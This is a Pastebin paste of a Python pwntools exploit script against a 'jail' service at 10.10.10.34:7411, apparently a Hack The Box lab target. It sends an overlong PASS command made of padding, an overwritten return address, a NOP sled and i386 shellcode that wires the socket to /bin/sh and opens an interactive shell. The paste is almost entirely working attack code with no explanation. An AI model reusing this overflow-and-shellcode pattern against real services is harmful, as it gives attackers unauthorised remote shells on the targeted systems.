Advertisement
Guest User

Untitled

a guest
Nov 22nd, 2017
240
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.86 KB | None | 0 0
  1. import struct
  2. from pwn import *
  3. import socket
  4.  
  5. HOST = "10.10.10.34"
  6. PORT = 7411
  7. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  8. s.connect((HOST, PORT))
  9.  
  10. def p(x):
  11.  
  12. return struct.pack('<I', x)
  13.  
  14. context(os = 'linux', arch = 'i386')
  15.  
  16. HOST = "10.10.10.34"
  17.  
  18. print args['HOST']
  19.  
  20. if HOST != "":
  21.  
  22. r = remote(HOST, PORT)
  23.  
  24. else:
  25.  
  26. r = process('./jail')
  27.  
  28.  
  29.  
  30. r.recvuntil('OK Ready. Send USER command.\n')
  31.  
  32. r.sendline('USER admin\n')
  33.  
  34. padding = "A"*28
  35.  
  36. eip = pack(0x804910f)
  37.  
  38. shellcode = (
  39. "\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48\x89\xc6"
  40. "\x31\xc9\x56\x5b\x6a\x3f\x58\xcd\x80\x41\x80"
  41. "\xf9\x03\x75\xf5\x6a\x0b\x58\x99\x52\x31\xf6"
  42. "\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
  43. "\x89\xe3\x31\xc9\xcd\x80")
  44.  
  45. nops = "\x90"*42
  46. r.sendline("PASS " + padding + eip + nops + shellcode + "\n")
  47.  
  48. r.interactive()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement